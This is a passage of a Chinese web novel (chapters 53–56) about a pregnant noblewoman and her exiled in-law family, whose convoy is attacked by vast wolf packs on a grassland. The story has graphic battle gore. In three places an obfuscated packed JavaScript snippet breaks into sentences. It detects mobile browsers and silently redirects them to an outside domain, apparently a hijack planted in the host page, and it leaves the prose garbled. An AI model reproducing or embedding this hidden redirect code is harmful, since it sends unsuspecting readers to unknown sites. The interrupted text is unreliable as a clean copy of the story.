宣槿妤当年听这案子时还为那可怜无辜的孩子难受过一场,如今她腹中怀着孩子,便更是难受。 她眼圈很快就红了,眼泪啪哒啪哒滴落在被子上。 苏琯璋眼中残存的最后一点睡意顿时烟消云散,他小心地抱着她哄了许久,“我不该说这样的案子给你听。” 因他的身份和身手,一般大理寺分给他的案子,要么是要和权贵世家拉扯抗争,要么是涉及敏感重大之事、稍有不慎便能丢了性命的那种。 他能和宣槿妤讲的案子确实不多,方才他真是没睡醒脑子不清醒才会和她说这样惹她共情伤心的案子来。 昨夜后半夜两人折腾了很久才躺下,上午二人双双起晚了。 许玉娘和宣文晟上午见到眼睛红肿未消的宣槿妤,以为是他欺负了人,还好生训斥为难了他一番。 许玉娘敲打着儿子,“璋小子,你媳妇儿有孕在身本就艰难,还要陪你在这荒凉之地吃苦。” “你堂堂男子汉大丈夫,作甚要惹她伤心难过?” “我们苏家自祖辈开始就是出了名的爱护媳妇儿的,你看看你爹是怎么对你娘我的,看看你三位兄长是怎么对你嫂嫂们的。” “再看看你自己,往年三天两头惹槿妤伤心生气跑回娘家,已经足够丢我们苏家脸面。” “如今你媳妇儿怀着孩子,你不处处体贴爱护她就罢了,竟还要招惹她。你看她那眼睛肿的。” “我要是槿妤,有那等大力气,不捶死你这个负心汉才怪。” 一旁“路过”的“不小心”听到母子训话的宣文晟面上表情顿时便一言难尽起来。 他本已经将苏琯璋敲打过一番,不过越想越生气,便想再好生为难他一回的,好叫他别再招惹他妹妹伤心。 只“不小心偷听”到了亲家母训斥她儿子的话,一时倒也有些心虚。 他妹妹是什么样的性子他再清楚不过,谁和她亲近得她依赖,她高兴了便有撒不完的娇,要是心里不高兴也只会对着最亲近的人发脾气。 以往在宣家,母亲是那个被妹妹依赖撒娇的人;如今在苏家,妹夫便是那个被她亲近折腾的人。 而亲家母口中的“不处处体贴爱护她就罢了”,听得他一脸茫然和疑惑。 原来竟是他这个当人兄长的还不够爱护妹妹? 他冷言瞧着他妹夫对着妹妹已经足够体贴关怀,比他这个做兄长的还要想得周到。 原来这样的程度也是要被“捶死”的吗? 宣文晟一脸恍惚地抬脚离开了。 离开前还想着,等到夜里安顿下来,他定要写信给母亲和妻子,问问她们他这个兄长是否做得太过不称职。 否则他为什么会觉着,妹夫这样的“负心汉”其实还挺好的? 他定要好好反省己身才是。 苏琯璋上午才被三舅兄敲打过,也被母亲训斥过,被迫认下“欺负妻子”的罪名。 眼下又听宣槿妤提起昨晚,他便有些小心翼翼的,不大敢接话。 生怕她又再掉眼泪。 他昨夜可是哄了大半夜,等她睡熟了他又看着她的睡颜出神,将近凌晨才睡去。 “那你再吃一颗果子。”他说,末了看着刚吃完又眼巴巴盯着他手里野果的宣槿妤,哄道:“不能再多吃了,当心反酸,身子更不舒服。” 坐马车也有坐马车的坏处,宣槿妤坐久了,身子容易疲乏,午膳时她胃口也不大好。 马车再启程,走了一段路后,苏琯璋便发现妻子捧着肚子,一脸的不舒服。 “也没晕马车。” 苏琯璋替她诊了脉,没发现什么不对劲的地方。 应当还是太困了,他想。 但午歇的时辰已经过了,宣槿妤又不愿意在这时候补眠。 他心疼地亲了亲她的脸颊,“马车里憋闷,更容易犯困,要不要下去走走?”他问宣槿妤。 宣槿妤恹恹的,提不起什么精神,但闻言也应了声“好”。 下了马车,扑面而来的青草香气中,带着头顶热烈太阳的火热,暖融融的。 宣槿妤掩着唇,打了个哈欠,在蒸腾的热气中,越发困倦。 到底撑不过孕中这股来势汹汹的倦意,她还是回了马车,躺在苏琯璋怀里,补了一个好觉。 醒来时,宣槿妤午时犯懒的身子彻底恢复过来。 带着好眠后的神清气爽,她的双眼也明亮如星,惹得苏琯璋把持不住,二人在马车里隐秘地交换了亲密而安静无声的吻。 黄昏时分,他们一如前几日,在溪水边安营扎寨。 夏日天黑得晚,用完晚膳后一群人慢慢在附近走着消食。 走着走着,孩子们很快消失在高高的草丛里,然后被大人们抱着或扛着露出草面。 “那儿有好多蜻蜓,好漂亮!”燕姐儿被她父亲苏琯武托在肩头,眼尖地看到一群在远处水面上低飞的蜻蜓,偶尔点一下水。 苏琯武顺着女儿的小手指着的方向看去,脸色顿时便有些不大好。 他扛着孩子往回走,“回去了回去了,要下雨了。”他朝着周围大喊。 苏琯璋和宣槿妤正在苏老夫人和苏二婶的帐篷里与她们二人说笑,闻言站了起来。 苏琯璋打开门帘,便见宣文晟站在门外,举着手,看样子是正准备敲门。 见到他,宣文晟道:“外面水面上有大群蜻蜓在低飞,夜里恐有大雨。” 他们在这片草原上走了几日,天气就晴好了几日。晚膳前也未见什么要下雨的征兆,没料到就遇上了蜻蜓低飞。 二人正说着话,陈阳也快步走了过来。 他刚去水面上看了一眼,发现他们营帐附近的水源上都聚集了一批蜻蜓。 听到宣文晟的话,他便也开口,“人判断的可能不准,但蜻蜓低飞下雨的可能性很大,何况还是一群蜻蜓低飞。” 这时外出散步的一群人也回来了。 苏声抱着慕哥儿走在前头,苏琯煜扛着启哥儿走在后面。 “我们搭的帐篷可结实?夜里若是雨大会不会进水?”苏声问苏琯璋,苏老夫人和苏二婶住的这顶帐篷就是他扎的。 苏琯璋终于找到机会说话,朝着父亲颔首,“这里地势高,帐篷料子也防雨,除非遇上狂风暴雨掀起整座帐篷,否则不会进水。” 他这话说的,让门口一堆人脸色都有点不大好。 “你这个乌鸦嘴,”走在苏声后面的许玉娘赶上来,闻言没好气地白了苏琯璋一眼,“快呸掉,不许胡说。” 苏琯璋摸了摸鼻子,呸是不会呸的,他只讪讪地闭了嘴。 宣槿妤慢吞吞地走了过来,见他又被婆母训,不仅不心疼也不为他说话,还捂着唇笑了起来。 苏琯璋去扶她时,便见她眉眼弯弯的,衬得她明艳的容颜都清甜了几分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865802|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眉眼柔和下来。 “我去加固帐篷。”人群末尾的苏琯煜走了过来,放下肩上的启哥儿,自觉替胞弟解围。 苏琯文、苏琯武对视一眼,也笑着附和,“我们也去。” 宣槿妤正笑着,眼皮忽而开始狂跳。 “怎么了?”苏琯璋问她。 “我有很不好的预感。”她捂着胸口道,心里慌慌的,像是整颗心都要跳出胸腔来。 苏琯璋紧张地为她把脉,只发现脉象略有些快。 宣文晟还未走,见状想起了什么,“妹妹你是觉得夜里会出事?” 许玉娘正进了帐篷,要给宣槿妤倒点热水喝看能不能舒服一点,闻言惊讶地回头去看了宣文晟一眼,又去看宣槿妤。 她还记得,前些日子大暴雨,他们在马车上时,宣槿妤说的,她直觉很好的事来。 “真感觉不好啊?”许玉娘有些紧张地问。 自接受了小儿媳力大无穷的一面,她再接受她直觉很准的另一面便也毫无疑义。 她甚至觉着,宣槿妤是上天体恤她那不讨喜的幼子,特意将她托生到人间来的福星。 否则,大盛朝适龄的姑娘这么多,为何月老就单替他们二人牵了红线?这不是天赐的缘分是什么? 为此,她心里越发喜欢宣槿妤,而相对应地,越发“嫌弃”起自己的儿子来。 苏老夫人、苏声和苏二婶显然也听她说过山洞那事,闻言也纷纷朝宣槿妤投来目光。 宣槿妤被一群长辈好奇的目光包围着,有些不大自在。只她自小也是在长辈们的爱护下长大的,对于这样的目光她并不陌生,于是她很快便冷静下来。 “我们夜里可能会有大麻烦。”她说,瞧着众人变了脸色,她又很快补充,“我的直觉不一定十分准确,但我们最好还是早做准备。” 那句“不一定十分准确”,她说得十分飘忽,仿佛只是为了不让他们过于担心才说的场面话。 在场的人都是人精,哪里听不出来她的意思。 夜深人静时,果真出了事。 那只被他们救下的白隼这几日都跟着他们,夜间就安安静静地窝在帐篷角落,将头埋在未被烧焦修剪过的一侧翅膀中。 隔着数里的距离,它敏锐地察觉到外面有什么动静,有些焦躁地单脚在地上跳了跳。 但这样细微的声音被湮没在周围草丛的虫鸣蛙叫声中。 因着宣槿妤的话,苏琯璋这夜睡得不大安稳。 一丝浅淡的血腥味飘到他鼻中时,他猛地睁开了眼,反应极其迅速地将宣槿妤抱坐起来,揽在怀里。 白隼玉爪高亢破空的声音几乎是同时响起,声声尖锐且急促,带着人类所不能察的威慑力。 而这时外面细微的倒地声这时才传到他耳中,伴随着不似人类的轻微奔跑声,几乎是悄无声息的。 道道敏捷轻盈的奔跑声在听到白隼的震慑后稍微停顿了一小会儿,很快又继续迅疾游走在这方被人类隔绝起来的天地中。 “戒备。”苏琯璋高声喊了一句,快速地给半醒未醒的宣槿妤穿好衣裳。 这句话他是加了内力说的,声音清晰地传出帐篷。 但其实不必他提醒,白隼方才的示警声已经惊醒了不少人。帐篷内的烛火几乎是在他说话的同时亮了起来,外面的火把也很快燃烧起来。 很快外帐篷四面便传来纷乱的脚步声,和几声惊叫,“守夜的都死了。” “狼,是狼把他们咬死的。” “狼怎么进来的?快起来!” “狼在这里。天哪!好多狼!” “都快起来,有狼来袭。” …… 54. 第 54 章 不远处的烛火摇曳,照亮了他们这一方床铺。 宣槿妤被嘈杂的声音惊醒,抬眼便见正揽着她站起来的苏琯璋一脸的凝重。 她上次见他这状态,还是他们前些时日在外扎营时,遇上一只不慎被困在洞穴中才逃出来,饿狠了不管不顾来袭击他们的老虎的时候。 那时候他们二人单独在外散步,苏琯璋要顾着她,只将她抱起运起轻功飞快逃离,闻讯赶来的苏琯煜等人很快便将那老虎赶走。 而今夜,又是发生了什么和那日一样的惊险之事? 宣槿妤缩在他怀中,凝神屏息。 很快,她便知道外面发生什么事儿了。 凄厉可怖的狼嚎声从帐篷外传来,接着是马儿不安的躁动声。 更多的人从睡梦中被惊醒。 “快快快,陷阱里的狼要跳出来了。嘿,伤成这样了居然还没死。” “后面后面,狼要跳进来了。” “不是才杀了两只?怎么又来了两只?” “天,都起来,上百只狼。哦不不不,得有好几百只狼。” “火,快点火,狼怕火。” “不行,雨太大了,火点不起来。” “他爹的,竟在这时候落起雨来。” “外面几座帐篷都是空的,引它们进去,里头有陷阱。” “快快快,有狼王,嘶。” …… 很快,人声被淹没在嘈杂的雨声中,噼啪噼啪的,很快“轰隆隆”的雷声也响了起来。 大雨倾盆。 宣槿妤心跳得厉害,肚子里的孩子感受到母亲的情绪,也不安地动了起来。 苏琯璋亲了亲她的额头,“别怕。” 烛光大亮。 许玉娘披着外裳走了过来,一眼便见宣槿妤隆起的肚子里,孩子的小手小脚不停地动来动去。 “怎么胎动得这般厉害?”许玉娘担心地问,“可是吓着了?” 苏琯璋侧过身,给母亲腾出了能坐下的位置。 苏家其余人也围了过来,除了苏声、苏琯煜、苏琯文和苏琯武四人,他们正守在帐篷四角,牢牢护着最后一道屏障。 宣文晟不会武功,但他带来的侍卫们也很快冲了进来,身上的雨水还在哒哒地往下流,很快淌了一地的水珠。 宣文晟的贴身侍卫清风手中的剑血淋淋的,混合着雨水,烛火摇曳中十分刺目。 “有两匹马被咬死了,还有两匹挣脱了缰绳不知去向,其余马也躁动得厉害。我们留了一人在那里试图安抚它们。” 清风语气很快,简单地将外面的情况说了。 “约莫来了两三百只野狼,还有五只狼王,我射杀了一只,陈副尉也杀了一只。” “今晚守夜的三个人全死了,被野狼一口咬穿脖子,瞬间毙命。” “帐篷周围的陷阱里都有野狼掉进去,但更多的野狼借着同伴的掩护冲了进来。” 他剑上的血迹就是杀狼的时候留下的。 “我进来的时候,野狼刚刚在狼王的召唤下退了回去,它们怕雷声。” …… 外面竟这样惊险。 孩子们惊魂未定,年纪最小的慕哥儿和桓哥儿、雯姐儿这对龙凤胎脸上都是一副要哭不哭的模样。 三位嫂嫂和苏二婶正安慰着孩子们,偶尔朝宣槿妤望过来一眼,眸中含着几分感激。 若非她提前预警,今夜恐怕更是艰难。 因着宣槿妤傍晚时分的那句不好的预感,他们拆除了原先的小帐篷,苏家人和宣文晟今夜都宿在了如今这个加固后的大帐篷里。 而例行的防御上面,除了平日里常规的陷阱,他们今夜还往帐篷外延伸了数十丈,多挖了一圈捕兽坑。 而守夜的人多加了两个,两支队伍也分作几个小队,几顶帐篷将他们中间这顶大帐篷围了起来。 本以为广袤的草原上不会有什么猛兽敢袭击他们这样大的一支队伍,毕竟眼下是夏季,草原上并不缺乏它们的食物。 陈阳王虎听他们建议时还挺诧异,觉着他们想多了。没料到,竟真的发生了野狼夜袭的事情。 而外面的捕兽坑当真派上了用场。 暴雨如注,帐篷下面的低洼处已经被水淹没,天地间也仿佛只剩下了雷声和雨声。 陈阳一身水淋淋地走了进来。 “野狼暂时退了,”他说,抹了把险些掉进眼睛里的水珠,“死了五个弟兄,伤了十余个。” 他的声音里带着伤感,“若非雷声响起,它们还要咬死咬伤更多人。” 太突然了,纵然他们已经提前做了防备,但野兽毕竟是野兽,毫无理智且战斗力惊人,再有狼王指挥,群攻之时,咬死咬伤一个人简直轻而易举。 大家一时都不知道该说些什么。 陈阳只是过来说明一下情况,很快就走了,他要回去收拾残局。 处理野狼的尸首,重新布置好陷阱。 更重要的是,烧掉死去弟兄的遗体,然后将他们的骨灰妥贴装好带在身边,日后好交给他们的家人。 心情太沉重了,睡前还有说有笑的人一下子就变成了一捧骨灰。 那种落差,再大大咧咧的糙汉子也都受不了。 雨水像是要将帐篷冲垮般,狠狠地砸落,而后不甘地滚落在地,汇聚成大大小小一滩又一滩水坑。 野狼血浓郁的腥臭气和遗体燃烧的产生的并不好闻的气味混合在一处,熏人得很。 沉默地处理着伤势的人悄悄地抹了一把眼睛,差一点,他们自己也成了一捧灰。 以武入朝为官的人,在穿上官服的第一日就知道,他们随时都可能会丢了性命,尤其每次出任务的时候。 这次被派来护送苏家人流放广虚府,他们也和家里人交代过,回来的可能只会是他们的骨灰。 但有心理准备是一回事,人非草木,为逝去的人沮丧伤感、为自己的前程担忧在所难免。 王虎憨厚的脸上也没有一点表情,只眼睛红了一圈。 天将将亮时,雨停了。 “此地不宜久留。” 陈阳越过打开着的门帘,身上仍是湿的,只不再往下淌水。 他连夜冒着暴雨带着人处理野狼的尸首,又亲眼盯着自己的手下尸骨被焚烧,骨灰也亲手被他装进小罐子里,几乎没有休息的时间。 不知是因为疲累,还是难过,他瞧着落拓不少,往日干干净净的下巴上胡茬也冒了出来。 “狼王昨夜打死了三只,还剩了两只。不知道还会不会来寻仇,我们尽早离开这片草原。” 一行人早已收拾好行装,闻言便很快动了起来。 黎明时分,他们上了马车。 马匹昨夜损失了两匹,就是开始被野狼咬死的那两匹。 两匹逃走的马儿在野狼退走后又趁着夜色,带着一身的雨水回了临时的马厩。 “幸好拉车的马还够。”陈阳苦笑。 损失的两匹马都是他们从兵部带出来的好马,死去的五名弟兄里,也有两名是他的人。 王虎心情也很不好,听到陈阳强撑着苦中作乐的话语也只当没听见。 “出发。”他说。 众人没时间吃饭了,也还没那个胃口。 宣槿妤是被苏琯璋捂着眼睛抱上的马车,没有看到外面厮杀过后的惨状,但她闻到了空气中还未散去的血腥味。 昨夜雨几乎是下了一整夜,还下得那样大,如今血腥味竟还未散去。 宣槿妤不敢去想那意味着什么,只到底妊娠期鼻子比往常更敏感,她捂着胸口干呕了几声。 苏琯璋忙扶她坐好,找到放了野果的柜子,很快洗干净给她嘴里塞了一颗。 “可好受些了?”他问。 宣槿妤恹恹地靠在他身上,只点点头。 苏琯璋摸了摸她的额头,又去探她的脉,末了将她放在自己腿上,“先睡,醒了再吃点东西。” 所有人几乎都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873648|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一夜未眠,她是双身子,怕是熬不住。 宣槿妤咽下口中的果子,枕着他的腿,闻着他身上熟悉的清雪气息,很快睡了过去。 只她睡得不大安稳,梦中眉头都是皱着的,苏琯璋伸手抚了几次,也没能将她眉头抚平。 他凝视着她的睡颜,摸了摸她的脸,眉眼沉沉。 马车走了约莫半个时辰。 那场大雨没给这片草原带来什么危害,只丰茂的水草吸饱了水珠,越发伸展着身子,调皮地想要给他们过路的人和马车增添点阻碍。 但才厮杀过,心情尚且没恢复过来的一群武人,哪里在意这点小小的阻碍,身上才换过的干燥衣裳湿了也没去管。 而马车底盘加高加固过,行驶在葱葱郁郁的草丛中,并未受到什么影响。 就连睡梦中的宣槿妤,也没有受到什么颠簸。 半个时辰,足够苏琯璋想通了许多事。 他打开车窗,让雨后清新的空气进入马车中。 看到骑马守在马车一侧的清风,刚要和他说什么,忽地,苏琯璋清淡的眼神瞬间便锐利了起来。 窝在马车车厢顶部的白隼玉爪也发出高亢的鸣叫,苏琯璋能听到它在不安地拍打着翅膀的声音。 他的眉头顿时皱了起来。 昨夜几百只野狼偷袭营地,白隼还能发出警告震慑野狼——虽然因着狼王在没什么效果。 而如今它竟开始不安起来……他心里也有了不大好的想法。 他迅速将睡在他腿上的宣槿妤抱到怀中,让她靠在自己肩上,替她裹好自己的外裳。 做好这些,他从打开着的车窗往外望,只看到架着这辆车厢的马儿在不安地撂着蹄子;而前方开路的几匹马儿长长嘶鸣一声,不肯动了。 斥候的声音远远地从前方传了过来,离得太远,他听得有些不大清晰。 苏琯璋将头探出车窗,才听清斥候在急切地说着的是什么话。 “前面有狼群,后退,快后退。” 王虎飞快地从前面奔过来,“退,快退,前方有狼群出没。” 狼群? 昨夜的野狼又回来了? 队伍里有了些许躁动,但到底训练有素,很快安静下来。 王虎回到前方去了,陈阳带着掉了头,飞快地沿着来路往回跑。 马接受到后退的指令,迫不及待地转了向,飞快地朝着远离它们天敌的方向狂奔。 宣槿妤被苏琯璋牢牢固定在怀里,还有些没反应过来。 狼群? 青天白日里,他们人又多,怎会引来狼群? 莫非真如陈副尉所说,狼群是来报昨夜之仇的? 车厢门被拉开,宣文晟飞快地跳上了马车,从前室走进来。 “王虎说,有近一两千头野狼在追着我们。”也顾不得会不会吓到宣槿妤,他语速飞快地对苏琯璋说道。 一两千头野狼? 宣槿妤霎时白了脸,下意识攥紧苏琯璋的衣袖。 昨夜两三百头野狼入侵他们的营地,他们有所准备还死伤了那么多人,如今竟来了几倍的数量! 苏琯璋安抚地轻拍着她的后背,皱着眉,草原里哪里来的这样大规模的狼群? 若说昨夜是个意外,今日再看,便有些不大寻常。 如今是夏日,草原上有数不清的猎物。狼群至于冒着这样大的风险,夜袭不成后,还要在白日的空旷草原上袭击一支百余人的人类队伍? 没有昨夜的天时地利,构不成偷袭的条件;且白日里在这样有利于躲避的平坦草原地形,狼王竟也会带领狼群这样做么? 但现在不是想这些的时候。 一两千只狼,便是这开阔地带再容易躲避,这数量也足以将他们淹没在这草原上。 顾不得多想,他仔细听着越来越近的狼嚎声,“来不及后退了,做好战斗准备。”他说。 宣文晟脸色也有些发白,不过只点点头,去吩咐他的人去了。 55. 第 55 章 几辆马车都停了下来,被人群牢牢围在中间。 两支队伍合拢过来,陈阳王虎站在正前方,直面狼群。 有昨夜没来得及加入人狼大战的人,拿起了自己很久没用的兵器,“闲置了几个月,也是该沾沾血了。”他们爽朗地笑道,试图遮掩自己的惧意。 昨夜失去了朝夕相处的弟兄,他们今日可还憋闷着,早就想要痛快地厮杀上一场了。 只是,狼群的数量到底超过了他们所能承受的范围,人的求生本能让他们心生恐惧。 “当心些,斥候说,约莫有十余只狼王在。”陈阳叮嘱道。 “有心理准备。”王虎回答,一双眼睛喷着怒火。 只他到底心里犯嘀咕,这样多的狼群出没,没有狼王在才是稀奇事。 他昨夜损失了三名手下,心里本就憋屈,现下见到狼群,只恨不得报仇雪恨才是。 他爹的,狼王这样稀罕的存在,昨夜出现五只便已经足够稀奇;今日倒好,竟一下子出现十余只。 这片草原是专长狼王不成? 还有,什么时候狼群竟是以数百数千的数量一起出现的了?莫不是整片大草原的狼都聚到一起了? 他爹的,真是倒霉透了。 他不将这群畜生打个稀巴烂,他就不叫王虎! …… 疯了,这些野狼都疯了。 昨夜太过昏暗,且交手短暂,感觉并不明显。 如今是白日,甫一交手,他们便很快察觉到,这群野狼的野性不同寻常。 像是饿了好多天,又像是中了什么烈性药,个个疯狂地只会撕咬、撕咬,头颅都被砍下来了嘴里咬着的人类的皮肉还是不肯放开。 哀嗷声不断。 苏家的老弱小孕皆被牢牢护在正中心,苏琯璋留下照应。昨夜受过伤的人也在这一圈子里,警惕地提防着随时可能突破外圈朝他们奔袭而来的野狼。 时间短暂,来不及做更多陷阱,外圈的人正面承受了野狼群的袭击,状况都有些不大好。 人类香甜的血液飘散在空中,极大地刺激着野狼本就疯狂的兽性。 便是白隼这样天生凶猛的禽类,也难得被这样的场面震慑住。 它缩着骨折未愈的腿,也不叫了,只警惕着不断地转着头,安安静静地用一双也被刺激狠了的瞳孔盯着四面八方围涌而来的一群群野狼,徒劳地彰显着自己的桀骜和锐利。 野狼根本没注意到这只往日也能捕杀它们同类的凶禽,只顾着抓挠、啃咬、弑杀着人类。 有狼王在,狼群显然训练有素许多,它们分批冲杀、以狼身搭梯试图越过前方的保护线,只很快被前方的人斩杀。 狼的尸首和人的哀嚎声同时响起。 许萱娘、常湄言和丁茜茜手里都拿了根柴火充当简易的兵器,护着孩子们。 就连被护在内侧的苏老夫人、许玉娘和苏二婶,也不甘示弱,也跟着捡了根柴火。 宣槿妤心“砰砰”地跳着,一时有些无措。 她心情激动时气力是比寻常十多名男子加起来的气力还大些,但大力气在对上野狼的时候并不能给她增添几分胜算。 她挺着个大肚子,连行动都渐渐开始不便起来。 她察觉到自己的无能为力,且开始觉得沮丧和难过。 如今慕哥儿已经开始跟着苏琯武扎马步,所以这里的人,就只有宣槿妤和宣文晟是全然不懂武功的两个人。 就连宣文晟带来充当厨娘的那两名仆妇,其实也是深藏不露的高手。 她们和宣文晟带来的侍卫们团团围在他们身前,冷静地将一支支箭羽射出去,收割一只又一只野狼的性命。 宣槿妤头一次察觉到会武的好处来,决心日后再也不骂苏琯璋是粗莽武夫了。 而宣槿妤好歹有力大无穷一个优势,宣文晟就是全然的所谓百无一用是书生的那个书生了。 只他心态极佳,这时候还不忘安抚显然有些紧张和失落的妹妹。 “妹妹你别慌,你看你三哥哥我,连你都不如。但你三哥哥脸皮厚,有人保护就行了。” 宣槿妤勉强冲他露了个笑,很快便被苏琯璋揽着将头按在他怀中。 “别看,别听。”他说。 人狼大战中,人渐渐处于下风,场面已经超过了宣槿妤能够承受的程度了。 孩子们也都乖乖地听着大人们的吩咐,牵着他们的衣摆,闭上了眼睛。只有启哥儿,惨白着一张小脸,严肃又冷静地看着堪称炼狱的场面。 宣槿妤心跳加快,被苏琯璋话中难得的严肃吓到,然后便被他更紧地揽住了肩膀——她如今肚子已经很大,他揽住她的时候再没有碰过她腰身,怕不小心伤到孩子。 宣槿妤视野中只有一片玄色,是他身上衣裳的颜色。 她什么也看不到,耳朵也被他牢牢捂着,什么也听不到。 刚开始时鼻尖还能闻到飘来的浓郁血腥味,很快,她被他更深地按在他怀中,于是,她鼻尖便仅剩下他身上清淡似雪一般的气息了。 只宣槿妤和孩子们被护得好好的,可以不看不听不闻。宣文晟倒是没有什么人顾得上他,也没将他当那等娇气经受不住残酷场面的人。 他站在苏琯璋身旁,他的贴身侍卫清风被派去看顾宣槿妤了,此时清风正守在苏琯璋身后。 而他带来的余下九名侍卫负责保护他的性命,同时也兼顾着这一圈老弱小孕和伤者的安全。 此时他们正听着苏琯璋冷静的指挥声,将一只只试图收割人类性命的野狼一一射杀。 分明那野狼没有突破前方由苏声、苏琯煜、苏琯文和苏琯武四人带领的近百人的队伍,他身旁的苏琯璋声音也足够冷静理智,他们这支小队杀掉的野狼数量也足够可观。 但宣文晟就是觉着,便是他们内圈这些人,也随时都有被冲进来的野狼撕咬啃食的可能。 乱,太乱了。 一百余人的队伍,对上一两千只野狼,还是太过吃力了些。 纵是苏声这位身经百战的苏国公将军带队,苏琯煜和苏琯文、武双胞胎三位经验丰富的少将军在旁掠阵,他们的队伍也还是一次次被狼群冲散。 队伍一次次整合,再一次次承受着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878940|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼群的袭击。 血色漫天弥散,分不清是野狼的血,还是人的鲜血。 …… 还是有十余只野狼突破了包围圈,冲着他们这群没怎么受到波及的人而来。 离得太近,宣文晟甚至能看到那野狼口中还未咽下去的人类皮肉,不知道是属于外面哪个人的。 恐惧,只有深切的恐惧。 宣文晟什么也想不起来,只僵硬地站在原地,呆呆地和凶狠发狂的狼眼对视。 “噗”“刷刷”。 刀剑刺中、劈砍中野狼身躯的声音传到他耳中时,他才慢慢回过神来。 触目只有一片红色,耳中也只有狼的嗥叫和人的痛呼声,鼻腔中的血腥味浓郁到让人窒息,令他忍不住想呕吐。 宣文晟惨白着一张脸,死死掐着自己的掌心,拼命将那股涌到喉头的恶心感咽回腹中。 “不行,再这样下去,迟早要被这群畜生耗尽气力。”苏琯文抹了一把喷溅到脸上的狼血,冲苏声喊道:“伯父,掩护我,我去杀了那些狼王。” 苏声回身一刀砍断偷袭他的野狼喉管,敏捷地侧身避开喷洒出来的腥臭血液,不让自己的视线受干扰。 听闻苏琯文的请求,他高声回道:“煜小子一起去,小心些。” 苏琯煜很快跃出队伍,和苏琯文在狼群中轻盈地穿梭,很快又是一片血色飞溅。 宣文晟心都要跳出嗓子眼。 他们才两个人,竟敢就这么冲出狼群,再进到群体更大的一片狼群中,去杀狼王? 不过很快,他狂跳的心终于慢了些许。 他看到,苏琯煜和苏琯文两兄弟冲出狼群后,暗中不知先前掩藏在何处的十余人跳了出来,跟上他们,朝着狼王所在的狼群飞去。 他认出来了,其中有两三个是宣家的暗卫,也有一两个是林家的暗卫,其余的,他认不出来。 大抵是苏家的暗卫罢,这时候也不能再藏下去了。 而那十余人跳出来之后,很快,更多的人从隐匿之处跃出,加入绞杀野狼的队伍中。 有加入这边的,也有跟上那头的。 宣文晟不懂武功,但他能感觉到,有了这些人的加入,苏声他们顿时便开始游刃有余起来,再不见方才左右支绌的模样。 属于人的痛呼声也少了不少。 太阳升至他们头顶时,苏琯煜那头传来狼王悉数被斩杀的好消息。 没有了狼王的指引,狼群很快溃不成军。 前头拼杀的人身上已经全部被血浸透,分不清是狼的血、己方人的血还是自己的血。 挨过最凶猛的冲杀,人类终于开始反击,成片成片的野狼尸首倒下。 狼群终于开始怕了,疯狂的狼眼中恢复了几分清醒,四散溃逃。 存活的野狼,约莫还有三四百只。 他们竟杀了一千多只野狼。 宣文晟深吸口气,很快被空气中浓郁的血腥气呛到,咳得天昏地暗。 “多谢出手相助。”苏声抱拳。 他也认出了自家的暗卫,只不动声色地移开了目光。 56. 第 56 章 一行人脱了险,再郑重道过谢之后,一帮先前隐在暗处直到方才才出来帮忙杀狼的人互相打量一番,几个纵跃,很快又消失在众人视线中。 一直没有听话闭眼的启哥儿盯着他们消失的方向,看了很久。 苏琯璋摸了摸他的头。 启哥儿抬起头,对他小叔叔露出一个很是勉强的笑。 “你今年本该和你父亲上一次战场,体验一番战争的残酷的。”苏琯璋低声和侄子说道,“方才的人狼大战,和真实的战场比起来,也差不了多少。” 当然,他说的只是苏家每一位已满八岁、不论男女的孩子所要亲眼感受的战场,是经过长辈评估过后觉着孩子可以承受的最大限度的那种战场。 通常这种情况会出现在两军胶着的时候,两方大军互相试探但不会真的激烈交战,死伤也在可控范围之内。 启哥儿若有所思,很快对着苏琯璋重重点头。 他脸上还有些未褪去的苍白,但眼睛却亮得惊人。小小的孩童,仿佛在瞬间就长大了许多, “我以后,也会成为和你们一样的人。”他尚且稚嫩的小脸上,露出了坚定。 许玉娘俯身抱了抱自己的长子,无声地表示着自己的支持。 苏玉启是这一辈的长孙,且他的弟弟妹妹们还小,他是日后要撑起整个苏国公府的人,得尽早学会成长。 所以,方才在发现他目不转睛地看完了血肉横飞的场面时,她也没有出声阻止,而是心疼却欣慰他有了这样的气魄与决心。 这一日,他们终究还是没能走出这片草原。 白日里的人狼大战,让他们损失了不少人马。 兵部陈阳的手下死了八个,重伤二十个,余下的几乎人人身上都带了轻伤。 禁军王虎的手下死了十三人,重伤二十五人,余下的身上也没有几个有完好的皮肉的。 这一下,两支队伍的对比就十分明显。 白日里的休整与收拾残局,让这些人十分疲惫;但精神上还残余着鏖战过后的兴奋,甚至头都开始隐隐作痛。 王虎翻身坐起,取出纸笔,一言不发地开始记录着。 